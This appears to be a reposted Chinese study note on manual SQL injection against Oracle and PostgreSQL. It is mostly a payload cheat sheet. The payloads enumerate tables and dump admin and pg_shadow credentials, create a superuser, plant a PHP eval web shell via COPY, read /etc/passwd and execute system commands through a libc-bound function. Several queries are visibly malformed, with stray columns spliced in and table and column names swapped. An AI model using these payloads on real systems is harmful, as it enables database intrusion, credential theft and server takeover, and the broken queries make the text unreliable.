【复盘学习笔记】SQL注入之Oracle & postgreSQL注入
2022-11-26 01:49:20 Author: 猫因的安全(查看原文) 阅读量:5 收藏

Oracle 手工注入

oracle 数据库介绍

Oracle数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品。是目前世界上使用最为广泛的数据库管理系统。基于“客户端/服务器”模式结构,客户端应用程序与用户交互,接收用户信息,并向服务器发送请求,服务器系统负责管理数据信息和各种操作数据的活动。

  1. 支持多用户、大事务量的处理

  2. 数据安全性和完整性的有效控制

  3. 支持分布式数据处理

  4. 移植性强

判断数据库

判断注入

and 1=1
and 1=2

判断oracle数据库

and exists(select * from dual) 
and exists(select * from user_tables)

判断列数

order by 11   返回正常
order by 12   返回错误

获取数据类型不匹配的列

?id=100 union select null,null,null,null,null,null,null,null,null,null,null from dual

在每列上逐个用数字代替

如果返回正常说明该列为数字类型,反之则为非数字类型。

也可以逐个用引号引起来如:'null',null...from dual, 返回正常说明该列为字符类型,反之为非数字类型

获取基本信息

获取数据库版本
(select banner from sys.v_$version where rownum=1)

?id=100 union select null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null from dual

获取操作系统版本
(select member from v$logfile where rownum=1)

?id=100 union select null,( select member from v$logfile where rownum=1),null,null,null,null,null,null,null,null,null from dual

获取连接数据库的当前用户
(select SYS_CONTEXT ('USERENV','CURRENT_USER')from dual)

?id=100 union select null,( select SYS_CONTEXT ('USERENV','CURRENT_USER')from dual),null,null,null,null,null,null,null,null,null from dual

获取数据库
(select owner from all_tables where rownum=1)

获取表名信息

获取第一个/第二个/第三个表,以此类推就可以得到所有的表名

?id=100 union select null,( select table_name from user_tables where rownum=1),null,null,null,null,null,null,null,null,null from dual

?id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>'ACCESS$'),null,null,null,null,null,null,null,null,null from dual

?id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>'ACCESS$'and table_name<>'ALERT_QT'),null,null,null,null,null,null,null,null,null from dual

获取列名信息

假设我们得到管理员表名为:admin

获取第一个列名EMPLOYEE_ID

?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual
?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1 and column_name<>'EMPLOYEE_ID'),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual

得到表名为NAME
?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1 and column_name<>'EMPLOYEE_ID' and rownum=1 and column_name<>'NAME'),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual

得到表名为PASS

获取数据

union select 1,2,name,4,5,6 from admin
union select 1,2,pass,4,5,6 from admin

其他方法

Oracle数据库庞大,手工及其不显示

Oracle 注入工具使用

SQLmap使用

PostgreSQL 手工注入

PostgreSQL介绍

PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES,现在已经更名为PostgreSQL,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。PostgreSQL支持大部分 SQL标准并且提供了许多其他现代特性:复杂查询、外键、触发器、视图、事务完整性、MVCC。同样,PostgreSQL 可以用许多方法扩展,比如, 通过增加新的数据类型、函数、操作符、聚集函数、索引。免费使用、修改、和分发 PostgreSQL,不管是私用、商用、还是学术研究使用。

测试站点:http://192.168.10.159:8010/test.php?id=1

注入常用语法

判断是否为postgresql数据库
?id=1 and 1::int=1--

判断数据库版本信息
and 1=cast(version() as int)--

判断当前用户
and 1=cast(user||123 as int)

判断有多少字段
order by 3 --+

union select null,null,null--

判断当前用户
union select null,user(),null--

判断数据库版本信息
union select null,version(),null--

判断用户权限
union select null,current_schema(),null

判断当前数据库名称
union select null,current_database(),null

判断当前表名
union select null,relname,null from pg_stat_user_tables

读取每个表的列名
union select null,column_name,null from information_schema.columns where table_name='admin'

列字段内容
union select null,name||pass,null from admin

查看postgresql数据库的账号密码
union select null,usename||chr(124)||passwd,null from pg_shadow

创建用户
;create user seven with superuser password 'seven'--

修改postgres的用户密码为123456
;alter user postgres with password '123456'--

PostgreSQL 写shell

直接拿shell
;create table shell(shell text not null);
;insert into shell values($$<?php @eval($_POST[cracer]);?>$$);
;copy shell(shell) to 'C:\Inetpub\wwwroot\8010\shell.php';

另一种方法:
;copy (select '$$<?php @eval($_POST[cracer]);?>$$') to 'c:/inetpub/wwwroot/8010/ddd.php'

读取文件前20行
pg_read_file('/etc/passwd',1,20)

创建system函数

用于版本大于8的数据库
创建一个system的函数:
create FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
创建一个输出表:
create table stdout(id serial, system_out text)
执行shell,输出到输出表内:
select system('uname -a > /tmp/test')
copy 输出的内容到表里面;
COPY stdout(system_out) FROM '/tmp/test'
从输出表内读取执行后的回显,判断是否执行成功
union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1–-

数据库备份还原

备份数据库
pg_dump -O -h 168.192.0.5 -U postgres mdb >c:\mdb.sql”
pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 SS >SS.sql 这个是远程备份数据库备份到本地来
还原数据库
psql -h localhost -U postgres -d mdb


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247497056&idx=1&sn=0e5ec27ac0be7b29b212c7dfc1c85a3d&chksm=c30560e7f472e9f18726d26f04f96abc1cbce95e4dadb61d778d48d51b7fac467f0a138eff64#rd
如有侵权请联系:admin#unsafe.sh